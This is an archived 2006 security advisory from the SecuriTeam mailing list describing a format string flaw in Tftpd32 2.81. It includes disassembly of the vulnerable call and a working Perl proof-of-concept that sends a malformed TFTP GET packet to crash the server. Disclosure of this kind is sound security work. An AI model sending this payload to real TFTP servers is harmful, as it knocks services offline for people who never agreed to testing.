[NT] Tftpd SEND and GET Format String Vulnerability
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 7 Feb 2006 18:21:29 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Tftpd SEND and GET Format String Vulnerability
------------------------------------------------------------------------
SUMMARY
" <http://tftpd32.jounin.net/> Tftpd32 includes DHCP, TFTP, SNTP and
Syslog servers as well as a TFTP client."
A format string vulnerability in Tftpd32 causes DoS when a malformed SEND
or GET request is received.
DETAILS
Vulnerable Systems:
* Tftpd32 version 2.81
Due to incorrect use of format strings there is a possibility of remote
code execution. You can trigger this vulnerability by sending SEND or GET
request with a specially formated string.
Vulnerable code:
LEA ECX,DWORD PTR SS:[ESP+430]
LEA EAX,DWORD PTR SS:[ESP+1C]
PUSH ECX ; /Arglist
PUSH EDX ; |Format
PUSH EAX ; |s = 00E6F4E8
CALL DWORD PTR DS:[<&USER32.wvsprintfA>] ; \wvsprintfA
Exploit:
#!/usr/bin/perl
# Tftpd32 Format String PoC DoS by Critical Security research
http://www.critical.lt
use IO::Socket;
$port = "69";
$host = "127.0.0.1";
$tftpudp = IO::Socket::INET->new(PeerPort => $port,PeerAddr =>
$host,Proto=> 'udp');
$bzz = "\x00\x01" ; #GET
$bzz .= "%.1000x\x00";
$bzz .= "\x6F\x63\x74\x65\x74\x00"; #octet
$tftpudp->send($bzz);
ADDITIONAL INFORMATION
The original article can be found at:
<http://www.critical.lt/?vulnerabilities/200>
http://www.critical.lt/?vulnerabilities/200
Related articles:
* <http://www.securiteam.com/windowsntfocus/6D00D2061G.html> TFTPD32
Directory Traversal Vulnerability
* <http://www.securiteam.com/windowsntfocus/6C00C2061A.html> TFTPD32
Buffer Overflow Vulnerability (Long filename)
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [REVS] Misunderstanding Javascript Injection: Web Application Abuse via Javascript Injection
- Next by Date: [TOOL] The Offline NT Password Editor
- Previous by thread: [REVS] Misunderstanding Javascript Injection: Web Application Abuse via Javascript Injection
- Next by thread: [TOOL] The Offline NT Password Editor
- Index(es):
Relevant Pages
- [UNIX] Perdition IMAP Proxy str_vwrite Format String Vulnerability
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Perdition IMAP Proxy str_vwrite
Format String Vulnerability ... the actual number of format identifiers is compared
to ... (Securiteam) - [UNIX] CDE Mailer argv[0] Format String
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... CDE Mailer suffers from a format
string vulnerability due to improper ... Solaris implementation of CDE Mailer. ...
(Securiteam) - [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... buffer overflow vulnerability
in VSAPI library allows arbitrary code ... is called "vscan" which is set suid root by
default. ... permissions and thus granted all local users the privilege to execute the
... (Securiteam) - [UNIX] SCO Multiple Local Buffer Overflow
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Local exploitation of a buffer
overflow vulnerability in the ppp binary, ... allows attackers to gain root privileges.
... (Securiteam) - [NT] Microsoft Word 6.0/95 Document Converter Buffer Overflow (MS04-041)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... WordPad is "a word processing
application that uses the MFC rich edit ... Remote exploitation of a buffer overflow vulnerability
in Microsoft ... Microsoft Word format files into the Rich Text Format natively handled
by ... (Securiteam)